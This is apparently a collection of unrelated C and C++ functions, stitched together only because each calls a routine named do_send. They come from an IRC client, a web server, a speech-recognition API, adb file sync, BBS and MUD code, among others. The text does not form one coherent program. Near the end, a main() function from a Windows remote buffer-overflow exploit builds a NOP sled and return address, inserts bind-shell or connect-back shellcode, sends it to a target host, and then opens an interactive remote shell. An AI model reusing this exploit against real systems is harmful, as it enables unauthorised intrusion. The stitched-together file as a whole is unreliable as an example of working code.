static void __ncptcp_try_send(struct ncp_server *server)
{
struct ncp_request_reply *rq;
struct kvec *iov;
struct kvec iovc[3];
int result;
rq = server->tx.creq;
if (!rq)
return;
/* sock_sendmsg updates iov pointers for us :-( */
memcpy(iovc, rq->tx_ciov, rq->tx_iovlen * sizeof(iov[0]));
result = do_send(server->ncp_sock, iovc, rq->tx_iovlen,
rq->tx_totallen, MSG_NOSIGNAL | MSG_DONTWAIT);
if (result == -EAGAIN)
return;
if (result < 0) {
printk(KERN_ERR "ncpfs: tcp: Send failed: %d\n", result);
__ncp_abort_request(server, rq, result);
return;
}
if (result >= rq->tx_totallen) {
server->rcv.creq = rq;
server->tx.creq = NULL;
return;
}
rq->tx_totallen -= result;
iov = rq->tx_ciov;
while (iov->iov_len <= result) {
result -= iov->iov_len;
iov++;
rq->tx_iovlen--;
}
iov->iov_base += result;
iov->iov_len -= result;
rq->tx_ciov = iov;
}
int close(int fildes)
{
if(!fildes || fildes < 0)
return -1;
fd_t fd = (fd_t) fildes;
struct message msg;
msg.arg[0] = FS_CMD_CLOSE;
msg.arg[1] = fd->inode;
msg.send_size = 0;
msg.recv_size = 0;
msg.flags = 0;
msg.tid = fd->thread;
free((void *)fd->fullname);
free((fd_t) fildes);
do_send(&msg);
return 0;
}
int irc_send(struct irc_conn *irc, const char *buf)
{
int ret, buflen;
char *tosend= g_strdup(buf);
purple_signal_emit(_irc_plugin, "irc-sending-text", purple_account_get_connection(irc->account), &tosend);
if (tosend == NULL)
return 0;
buflen = strlen(tosend);
/* If we're not buffering writes, try to send immediately */
if (!irc->writeh)
ret = do_send(irc, tosend, buflen);
else {
ret = -1;
errno = EAGAIN;
}
/* purple_debug(PURPLE_DEBUG_MISC, "irc", "sent%s: %s",
irc->gsc ? " (ssl)" : "", tosend); */
if (ret <= 0 && errno != EAGAIN) {
purple_connection_error(purple_account_get_connection(irc->account),
_("Server has disconnected"));
} else if (ret < buflen) {
if (ret < 0)
ret = 0;
if (!irc->writeh)
irc->writeh = purple_input_add(
irc->gsc ? irc->gsc->fd : irc->fd,
PURPLE_INPUT_WRITE, irc_send_cb, irc);
purple_circ_buffer_append(irc->outbuf, tosend + ret,
buflen - ret);
}
g_free(tosend);
return ret;
}
static int bot(char *server, char *port)
{
char *buf;
char nickm[42];
sd = do_connect(server, port);
if (sd < 0)
error(1, errno, "Failed connecting to %s:%s", server, port);
buf = malloc(BUFSZ);
if (!buf)
goto exit;
if (pass)
do_send("PASS %s\r\n", pass);
do_send("NICK %s\r\n", nick);
do_send("USER %s 0 0 :%s\r\n", nick, NAME);
snprintf(nickm, sizeof(nickm), ":%s:", nick);
while (loop) {
if (!do_recv(buf, BUFSZ)) {
char *pos = strstr(buf, " ") + 1;
if (!pos)
continue;
if (strstr(buf, " 001 ")) /* Authenicated/registered */
do_send("JOIN #%s\r\n", channel);
if (!strncmp(buf, "PING ", 5)) /* Keepalive */
do_send("PONG %s\r\n", pos);
if (!strncmp(pos, "PRIVMSG ", 8) && strstr(pos, nickm)) {
pos = strchr(buf, '!');
if (pos)
*pos = 0;
do_send("PRIVMSG #%s %s: :Why hello there, stranger!\r\n", channel, &buf[1]);
}
}
}
free(buf);
exit:
return close(sd);
}
/* Acknowledge options sent by client */
static int send_OACK(ctrl_t *ctrl)
{
char *ptr;
if (!ctrl->tftp_options)
return 0;
memset(ctrl->buf, 0, ctrl->bufsz);
/* Create message */
ctrl->th->th_opcode = htons(OACK);
ptr = &ctrl->th->th_stuff[0];
if (isset(&ctrl->tftp_options, 1)) {
ptr += sprintf(ptr, "blksize");
ptr ++;
ptr += sprintf(ptr, "%zd", ctrl->segsize);
ptr ++;
}
return do_send(ctrl, ptr - ctrl->buf);
}
void sendFileList(int num) {
char message[BUFFER_SIZE] = "";
int q = 0;
for (; q < clientCount; q++) {
if (clients[q].fd != -1) {
int i = 0;
for (; i < clients[q].fileCount; i++) {
if (clients[q].isFileExist[i] == 0)
continue;
strcat(message, clients[q].fileNames[i]);
strcat(message, "\towner:cli#");
char tmpInt[BUFFER_SIZE] = "";
convertIntToString(clients[q].id, tmpInt);
strcat(message, tmpInt);
strcat(message, ":");
strcat(message, clients[q].name);
strcat(message, "\n");
}
}
}
do_send(message, clients[num].fd);
}
int Connection::on_writable()
{
beyondy::auto_lock<typeof outlock_> al(outlock_);
int retval;
if (mrsp_ == NULL) {
if ((mrsp_ = outq_.get(0)) == NULL) {
// should not have such case
SYSLOG_ERROR("%s is writable while outQ is empty", name());
return 0;
}
mbs_ = mrsp_;
}
while (1) {
if ((retval = do_send()) == 0) {
// done all
if ((mrsp_ = outq_.get(0)) != NULL) {
mbs_ = mrsp_;
continue;
}
return 0;
}
else if (retval == 1) {
// do partial, wait next time
return 1;
}
else {
// something wrong
return -1;
}
}
return 0;
}
static void
irc_send_cb(gpointer data, gint source, PurpleInputCondition cond)
{
struct irc_conn *irc = data;
int ret, writelen;
writelen = purple_circ_buffer_get_max_read(irc->outbuf);
if (writelen == 0) {
purple_input_remove(irc->writeh);
irc->writeh = 0;
return;
}
ret = do_send(irc, irc->outbuf->outptr, writelen);
if (ret < 0 && errno == EAGAIN)
return;
else if (ret <= 0) {
PurpleConnection *gc = purple_account_get_connection(irc->account);
gchar *tmp = g_strdup_printf(_("Lost connection with server: %s"),
g_strerror(errno));
purple_connection_error_reason (gc,
PURPLE_CONNECTION_ERROR_NETWORK_ERROR, tmp);
g_free(tmp);
return;
}
purple_circ_buffer_mark_read(irc->outbuf, ret);
#if 0
/* We *could* try to write more if we wrote it all */
if (ret == write_len) {
irc_send_cb(data, source, cond);
}
#endif
}
static void on_shortcut_notify(h2o_mruby_generator_t *generator)
{
h2o_mruby_chunked_t *chunked = generator->chunked;
int is_final;
h2o_buffer_t **input = h2o_mruby_http_peek_content(chunked->shortcut.client, &is_final);
if (chunked->bytes_left != SIZE_MAX) {
if (chunked->bytes_left < (*input)->size)
(*input)->size = chunked->bytes_left; /* trim data too long */
chunked->bytes_left -= (*input)->size;
}
/* if final, steal socket input buffer to shortcut.remaining, and reset pointer to client */
if (is_final) {
chunked->shortcut.remaining = *input;
h2o_buffer_init(input, &h2o_socket_buffer_prototype);
input = &chunked->shortcut.remaining;
h2o_mruby_http_unset_shortcut(generator->ctx->shared->mrb, chunked->shortcut.client, generator);
chunked->shortcut.client = NULL;
}
if (!chunked->sending.inflight)
do_send(generator, input, is_final);
}
static mrb_value send_chunked_method(mrb_state *mrb, mrb_value self)
{
const char *s;
mrb_int len;
mrb_value gen;
/* parse args */
mrb_get_args(mrb, "so", &s, &len, &gen);
h2o_mruby_generator_t *generator = h2o_mruby_get_generator(mrb, gen);
{ /* precond check */
mrb_value exc = check_precond(mrb, generator);
if (!mrb_nil_p(exc))
mrb_exc_raise(mrb, exc);
}
/* append to send buffer, and send out immediately if necessary */
if (len != 0) {
h2o_mruby_chunked_t *chunked = generator->chunked;
if (chunked->bytes_left != SIZE_MAX) {
if (len > chunked->bytes_left)
len = (mrb_int)chunked->bytes_left;
chunked->bytes_left -= len;
}
if (len != 0) {
h2o_buffer_reserve(&chunked->callback.receiving, len);
memcpy(chunked->callback.receiving->bytes + chunked->callback.receiving->size, s, len);
chunked->callback.receiving->size += len;
if (!chunked->sending.inflight)
do_send(generator, &chunked->callback.receiving, 0);
}
}
return mrb_nil_value();
}
/**
* <JA>
* コマンド RESUME: PAUSEやTERMINATEによって一時停止した認識サーバを
* 再開させる．
*
* @param sd [in] 送信ソケット
* </JA>
* <EN>
* Command "RESUME": tell server to restart recognition.
*
* @param sd [in] socket to send data
* </EN>
*/
void
japi_resume_recog(int sd)
{
do_send(sd, "RESUME\n");
}
/**
* <JA>
* コマンド TERMINATE: 認識サーバを一時停止する．サーバが認識中の場合，
* その入力を捨てて即時停止する．
*
* @param sd [in] 送信ソケット
* </JA>
* <EN>
* Command "TERMINATE": tell server to pause recognition immediately,
* even if audio input is processing at that time.
*
* @param sd [in] socket to send data
* </EN>
*/
void
japi_terminate_recog(int sd)
{
do_send(sd, "TERMINATE\n");
}
/*---------------------------------------------------------------------------*/
void
tapdev_do_send(void)
{
do_send();
}
/* handle a password from a client */
static void clientpassword(imc_connect *c, const char *argument)
{
char arg1[3], name[IMC_MNAME_LENGTH], pw[IMC_PW_LENGTH], version[20];
imc_info *i;
char response[IMC_PACKET_LENGTH];
argument=imc_getarg(argument, arg1, 4); /* packet type (has to be PW) */
argument=imc_getarg(argument, name, IMC_MNAME_LENGTH); /* remote mud name */
argument=imc_getarg(argument, pw, IMC_PW_LENGTH); /* password */
argument=imc_getarg(argument, version, 20); /* optional version=n string */
if (strcasecmp(arg1, "PW"))
{
imc_logstring("%s: non-PW password packet", imc_getconnectname(c));
do_close(c);
return;
}
/* do we know them, and do they have the right password? */
i=imc_getinfo(name);
if (!i || strcmp(i->clientpw, pw))
{
if (!i || !(i->flags & IMC_QUIET))
imc_logstring("%s: password failure for %s", imc_getconnectname(c), name);
do_close(c);
return;
}
/* deny access if deny flag is set (good for eg. muds that start crashing
* on rwho)
*/
if (i->flags & IMC_DENY)
{
if (!(i->flags & IMC_QUIET))
imc_logstring("%s: denying connection", name);
do_close(c);
return;
}
if (i->connection) /* kill old connections */
do_close(i->connection);
/* register them */
i->connection = c;
c->state = IMC_CONNECTED;
c->info = i;
c->spamcounter1 = 0;
c->spamcounter2 = 0;
/* check for a version string (assume version 0 if not present) */
if (sscanf(version, "version=%hu", &c->version)!=1)
c->version=0;
/* check for generator/interpreter */
if (!imc_vinfo[c->version].generate ||
!imc_vinfo[c->version].interpret)
{
if (!(i->flags & IMC_QUIET))
imc_logstring("%s: unsupported version %d",
imc_getconnectname(c), c->version);
do_close(c);
return;
}
/* send our response */
sprintf(response, "PW %s %s version=%d",
imc_name, i->serverpw, IMC_VERSION);
do_send(c, response);
if (!(i->flags & IMC_QUIET))
imc_logstring("%s: connected (version %d)",
imc_getconnectname(c), c->version);
c->info->timer_duration=IMC_MIN_RECONNECT_TIME;
c->info->last_connected=imc_now;
imc_cancel_event(ev_login_timeout, c);
imc_cancel_event(ev_reconnect, c->info);
}
/* list all recognition processes */
void
japi_list_process(int sd)
{
do_send(sd, "LISTPROCESS\n");
}
int
more_web(char *fpath, int promptend)
{
char *ch;
char genbuf[41];
if (ch = strstr(fpath, "mailto:"))
{
if (!HAS_PERM(PERM_LOGINOK))
{
outmsg("[41m ±zªºÅv¤£¨¬µLªk¨Ï¥Îinternet mail... [m");
return 0;
}
if (!not_addr(&ch[7]) &&
getdata(b_lines - 1, 0, "[±H«H]¥DÃD¡G", genbuf, 40, DOECHO, 0))
{
do_send(&ch[7], genbuf);
}
else
{
outmsg("[41m ¦¬«H¤Hemail ©Î ¼ÐÃD ¦³»~... [m");
}
return 0;
}
#if 0
if (ch = strstr(fpath, "gopher://"))
{
ITEM item;
strcpy(item.X.G.server, &ch[9]);
strcpy(item.X.G.path, "1/");
item.X.G.port = 70;
gem(fpath, &item, 0);
return 0;
}
#endif
/* wildcat : ¤ä´©ª½±µ¶i¤J¬ÝªO */
if (ch = strstr(fpath, "board://"))
{
char bname[20], bpath[60], oldch[STRLEN];
struct stat st;
int mode0 = currutmp->mode;
int stat0 = currstat;
int pos;
boardheader *bhdr, *getbcache();
strcpy(oldch, ch);
strcpy(bname, strtok(oldch + 8, "#"));
setbpath(bpath, bname);
if ((*bname == '\0') || (stat(bpath, &st) == -1))
{
pressanykey(err_bid);
return RC_FULL;
}
if (bhdr = getbcache(bname))
{
if (Ben_Perm(bhdr) != 1)
{
pressanykey("§A¨S¦³¶i¤J¸ÓªOªºÅv");
return 0;
}
}
else
{
pressanykey("§A¨S¦³¶i¤J¸ÓªOªºÅv");
return 0;
}
/* shakalaca.000123: ¤ä´©¬Ý¬Y¤@½g */
if (ch = strstr(fpath, "#"))
{
fileheader fhdr;
pos = atoi(ch + 1);
setbdir(bpath, bname);
rec_get(bpath, &fhdr, sizeof(fileheader), pos);
setbfile(bpath, bname, fhdr.filename);
more(bpath, 0);
}
else
{
/* shakalaca.000124: ¸Ñ¨M "¥¼Åª" °ÝÃD.. */
brc_initial(bname);
Read();
}
currutmp->mode = mode0;
currstat = stat0;
return 0;
}
}
/**
* <JA>
* コマンド STATUS: 認識サーバの現在の状態(認識中/停止中)を送信させる．
*
* @param sd [in] 送信ソケット
* </JA>
* <EN>
* Command "STATUS": ask server about its current status (run/stop)
*
* @param sd [in] socket to send data
* </EN>
*/
void
japi_get_status(int sd)
{
do_send(sd, "STATUS\n");
}
void file_sync_service(int fd, void *cookie)
{
syncmsg msg;
char name[1025];
unsigned namelen;
char *buffer;
if(syc_size_enabled == 1) {
buffer = malloc(SYNC_DATA_MAX_CUSTOMIZE);
} else {
buffer = malloc(SYNC_DATA_MAX);
}
//char *buffer = malloc(SYNC_DATA_MAX);
if(buffer == 0) goto fail;
for(;;) {
D("sync: waiting for command\n");
if(readx(fd, &msg.req, sizeof(msg.req))) {
fail_message(fd, "command read failure");
break;
}
namelen = ltohl(msg.req.namelen);
if(namelen > 1024) {
fail_message(fd, "invalid namelen");
break;
}
if(readx(fd, name, namelen)) {
fail_message(fd, "filename read failure");
break;
}
name[namelen] = 0;
msg.req.namelen = 0;
D("sync: '%s' '%s'\n", (char*) &msg.req, name);
switch(msg.req.id) {
case ID_STAT:
if(do_stat(fd, name)) goto fail;
break;
case ID_LIST:
if(do_list(fd, name)) goto fail;
break;
case ID_SEND:
if(do_send(fd, name, buffer)) goto fail;
break;
case ID_RECV:
if(do_recv(fd, name, buffer)) goto fail;
break;
case ID_QUIT:
goto fail;
default:
fail_message(fd, "unknown command");
goto fail;
}
}
fail:
if(buffer != 0) free(buffer);
D("sync: done\n");
adb_close(fd);
}
int _rfs_open(struct rfs_instance *instance, const char *path, int flags, uint64_t *desc)
{
if (instance->sendrecv.socket == -1)
{
return -ECONNABORTED;
}
unsigned path_len = strlen(path) + 1;
uint16_t fi_flags = rfs_file_flags(flags);
unsigned overall_size = sizeof(fi_flags) + path_len;
struct rfs_command cmd = { cmd_open, overall_size };
char *buffer = malloc(cmd.data_len);
pack(path, path_len,
pack_16(&fi_flags, buffer
));
send_token_t token = { 0 };
if (do_send(&instance->sendrecv,
queue_data(buffer, overall_size,
queue_cmd(&cmd, &token))) < 0)
{
free(buffer);
return -ECONNABORTED;
}
free(buffer);
struct rfs_answer ans = { 0 };
if (rfs_receive_answer(&instance->sendrecv, &ans) == -1)
{
return -ECONNABORTED;
}
if (ans.command != cmd_open)
{
return cleanup_badmsg(instance, &ans);
}
if (ans.ret == -1)
{
if (ans.ret_errno == -ENOENT)
{
delete_from_cache(&instance->attr_cache, path);
}
return -ans.ret_errno;
}
uint32_t stat_failed = 0;
uint32_t user_len = 0;
uint32_t group_len = 0;
#define ans_buffer_size sizeof(*desc) \
+ sizeof(stat_failed) + STAT_BLOCK_SIZE + sizeof(user_len) + sizeof(group_len) \
+ (MAX_SUPPORTED_NAME_LEN + 1) + (MAX_SUPPORTED_NAME_LEN + 1)
char ans_buffer[ans_buffer_size] = { 0 };
if (ans.data_len > sizeof(ans_buffer))
{
return cleanup_badmsg(instance, &ans);
}
#undef ans_buffer_size
if (rfs_receive_data(&instance->sendrecv, ans_buffer, ans.data_len) == -1)
{
return -ECONNABORTED;
}
struct stat stbuf = { 0 };
const char *user =
unpack_32(&group_len,
unpack_32(&user_len,
unpack_stat(&stbuf,
unpack_32(&stat_failed,
unpack_64(desc, ans_buffer
)))));
const char *group = user + user_len;
DEBUG("handle: %llu\n", (long long unsigned)(*desc));
stbuf.st_uid = resolve_username(instance, user);
stbuf.st_gid = resolve_groupname(instance, group, user);
if (ans.ret_errno == 0)
{
if (stat_failed == 0)
{
cache_file(&instance->attr_cache, path, &stbuf);
}
resume_add_file_to_open_list(&instance->resume.open_files, path, flags, *desc);
}
else
{
delete_from_cache(&instance->attr_cache, path);
}
return ans.ret == -1 ? -ans.ret_errno : ans.ret;
}
/**
* <JA>
* コマンド SYNCGRAM: 文法の更新を行う．
*
* 文法の更新は通常認識開始直前(resume後)に行われるが，文法が大きいと
* 認識開始までにディレイが生じる可能性がある．このコマンドを使うと
* 即時に文法の更新を促せる．resume後すぐに認識を行いたいときに有効．
*
* @param sd [in] 送信ソケット
* </JA>
* <EN>
* Command "SYNCGRAM": tell Julian to update the grammar to ready for
* recognition. When updaing grammars while paused, calling this just
* before "resume" may improve the delay caused by update process of
* grammar at the beginning of recognition restart.
*
* @param sd [in] socket to send data
* </EN>
*/
void
japi_sync_grammar(int sd)
{
do_send(sd, "SYNCGRAM\n");
}
static int irc_send_raw(PurpleConnection *gc, const char *buf, int len)
{
struct irc_conn *irc = (struct irc_conn*)gc->proto_data;
return do_send(irc, buf, len);
}
/* shift to the next process. If reached to the end, go back to the first
process */
void
japi_shift_process(int sd)
{
do_send(sd, "SHIFTPROCESS\n");
}
/**
* <JA>
* コマンド DIE: 認識サーバを終了させる．
*
* @param sd [in] 送信ソケット
* </JA>
* <EN>
* Command "DIE": kill the recognition server.
*
* @param sd [in] socket to send data
* </EN>
*/
void
japi_die(int sd)
{
do_send(sd, "DIE\n");
}
/**
* <JA>
* コマンド DEACTIVATEGRAM: 指定した番号の文法をサーバ上で一時無効にする．
*
* @param sd [in] 送信ソケット
* @param idlist [in] コンマ区切りの文法ID番号リストを格納した文字列
* </JA>
* <EN>
* Command "DEACTIVATEGRAM": temporary de-activate grammars on the server
* specified by the ID. The deactivated ones can be activated again
* by ACTIVATEGRAM command.
*
* @param sd [in] socket to send data
* @param idlist [in] string of comma separated grammar ID list
* </EN>
*/
void
japi_deactivate_grammar(int sd, char *idlist)
{
do_send(sd, "DEACTIVATEGRAM\n");
send_idlist(sd, idlist);
}
/**
* <JA>
* コマンド VERSION: バージョン情報を送信させる．
*
* @param sd [in] 送信ソケット
* </JA>
* <EN>
* Command "VERSION": let the server send version information.
*
* @param sd [in] socket to send data
* </EN>
*/
void
japi_get_version(int sd)
{
do_send(sd, "VERSION\n");
}
static void
mail_sysop()
{
FILE *fp;
char genbuf[200];
if (fp = fopen("etc/sysop", "r"))
{
int i, j;
char *ptr;
struct SYSOPLIST
{
char userid[IDLEN + 1];
char duty[40];
} sysoplist[9];
j = 0;
while (fgets(genbuf, 128, fp))
{
if (ptr = strchr(genbuf, '\n'))
{
*ptr = '\0';
ptr = genbuf;
while (isalnum(*ptr))
ptr++;
if (*ptr)
{
*ptr = '\0';
do
{
i = *++ptr;
} while (i == ' ' || i == '\t');
if (i)
{
strcpy(sysoplist[j].userid, genbuf);
strcpy(sysoplist[j++].duty, ptr);
}
}
}
}
move(12, 0);
clrtobot();
prints("%16s %-18sÅv³d¹º¤À\n\n", "½s¸¹", "¯¸ªø ID"/*, msg_seperator*/);
for (i = 0; i < j; i++)
{
prints("%15d. [1;%dm%-16s%s[0m\n",
i + 1, 31 + i % 7, sysoplist[i].userid, sysoplist[i].duty);
}
prints("%-14s0. [1;%dmÂ÷¶}[0m", "", 31 + j % 7);
getdata(b_lines - 1, 0, " ½Ð¿é¤J¥N½X[0]¡G", genbuf, 4, DOECHO, 0);
i = genbuf[0] - '0' - 1;
if (i >= 0 && i < j)
{
clear();
do_send(sysoplist[i].userid, NULL);
}
}
}
/**
* <JA>
* コマンド PAUSE: 認識サーバを一時停止する．サーバが認識中の場合，その入力
* が終わってから停止する．
*
* @param sd [in] 送信ソケット
* </JA>
* <EN>
* Command "PAUSE": tell server to pause recognition. If audio input is
* processing at that time, recognition will stop after the current input
* has ended.
*
* @param sd [in] socket to send data
* </EN>
*/
void
japi_pause_recog(int sd)
{
do_send(sd, "PAUSE\n");
}
/* connect to given mud */
int imc_connect_to(const char *mud)
{
imc_info *i;
imc_connect *c;
int desc;
struct sockaddr_in sa;
char buf[IMC_DATA_LENGTH];
int r;
if (imc_active == IA_NONE)
{
imc_qerror("IMC is not active");
return 0;
}
i=imc_getinfo(mud);
if (!i)
{
imc_qerror("%s: unknown mud name", mud);
return 0;
}
if (i->connection)
{
imc_qerror("%s: already connected", mud);
return 0;
}
if (i->flags & IMC_CLIENT)
{
imc_qerror("%s: client-only flag is set", mud);
return 0;
}
if (i->flags & IMC_DENY)
{
imc_qerror("%s: deny flag is set", mud);
return 0;
}
if (!(i->flags & IMC_QUIET))
imc_logstring("connect to %s", mud);
/* warning: this blocks. It would be better to farm the query out to
* another process, but that is difficult to do without lots of changes
* to the core mud code. You may want to change this code if you have an
* existing resolver process running.
*/
if ((sa.sin_addr.s_addr=inet_addr(i->host)) == -1UL)
{
struct hostent *hostinfo;
if (NULL == (hostinfo=gethostbyname(i->host)))
{
imc_logerror("imc_connect: couldn't resolve hostname");
return 0;
}
sa.sin_addr.s_addr = *(unsigned long *) hostinfo->h_addr;
}
sa.sin_port = htons(i->port);
sa.sin_family = AF_INET;
desc=socket(AF_INET, SOCK_STREAM, 0);
if (desc<0)
{
imc_lerror("socket");
return 0;
}
r=fcntl(desc, F_GETFL, 0);
if (r<0 || fcntl(desc, F_SETFL, O_NONBLOCK | r)<0)
{
imc_lerror("imc_connect: fcntl");
close(desc);
return 0;
}
if (connect(desc, (struct sockaddr *)&sa, sizeof(sa))<0)
if (errno != EINPROGRESS)
{
imc_lerror("connect");
close(desc);
return 0;
}
c=imc_new_connect();
c->desc = desc;
c->state = IMC_CONNECTING;
c->info = i;
imc_add_event(IMC_LOGIN_TIMEOUT, ev_login_timeout, c, 1);
sprintf(buf, "PW %s %s version=%d",
imc_name,
i->clientpw,
IMC_VERSION);
do_send(c, buf);
return 1;
}
int main(int argc, char *argv[]) {
char opt;
char *host, *ptr, *ip="";
struct sockaddr_in sockadd;
int i, i_len, ok=0, mode=0, flag=0;
int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;
int target=TARGET, scsize=SC_SIZE_1, port=PORT;
int timeout=TIME_OUT, interval=INTERVAL;
long retaddr;
WSADATA wsd;
SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) {
switch(opt) {
case 'a':
align=atoi(optarg);
break;
case 'I':
interval=atoi(optarg);
break;
case 'T':
timeout=atoi(optarg);
break;
case 't':
target=atoi(optarg);
retaddr=targets[target-1].jmpesp;
break;
case 'i':
ip=optarg;
changeip(ip);
break;
case 'l':
mode=1;
scsize=SC_SIZE_2;
break;
case 'r':
retsize=atoi(optarg);
break;
case 's':
sc_offset=atoi(optarg);
break;
case 'h':
ok=1;
host=optarg;
sockadd.sin_addr.s_addr=inet_addr(optarg);
break;
case 'p':
port=atoi(optarg);
break;
case 'H':
showtargets();
break;
default:
usage(argv[0]);
break;
}
}
if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }
memset(buff,NOP,BSIZE);
ptr=buff+align;
for(i=0;i<retsize;i+=4) {
*((long *)ptr)=retaddr;
ptr+=4;
}
if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) {
err_exit("-> WSAStartup error....");
}
if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
err_exit("-> socket() error...");
}
sockadd.sin_family=AF_INET;
sockadd.sin_port=htons((SHORT)port);
ptr=buff+retsize+sc_offset;
if (BSIZE<(retsize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'..");
banner();
if (mode) {
printf("-> 'Listening' mode...( port: %d )\n",port);
changeport(connback, port, PORT_OFFSET_2);
for(i=0;i<scsize;i++) { *ptr++=connback[i]; }
do_send(host,timeout);
Sleep(1000);
sockadd.sin_addr.s_addr=htonl(INADDR_ANY);
i_len=sizeof(sockadd);
if (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) {
err_exit("-> bind() error");
}
if (listen(s1,0)<0) {
err_exit("-> listen() error");
}
printf("-> Waiting for connection...\n");
s2=accept(s1,(struct sockaddr *)&sockadd,&i_len);
if (s2<0) {
err_exit("-> accept() error");
}
printf("-> Connection from: %s\n\n",inet_ntoa(sockadd.sin_addr));
resetalarm();
doshell(s2);
}
else {
printf("-> 'Connecting' mode...\n",port);
changeport(bindport, port, PORT_OFFSET_1);
for(i=0;i<scsize;i++) { *ptr++=bindport[i]; }
do_send(host,timeout);
Sleep(1000);
printf("-> Will try connecting to shell now....\n");
i=0;
while(!flag) {
Sleep(interval*1000);
if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {
printf("-> Trial #%d....\n",i++);
}
else { flag=1; }
}
printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.sin_addr),port);
resetalarm();
doshell(s1);
}
return 0;
}
void
japi_get_graminfo(int sd)
{
do_send(sd, "GRAMINFO\n");
}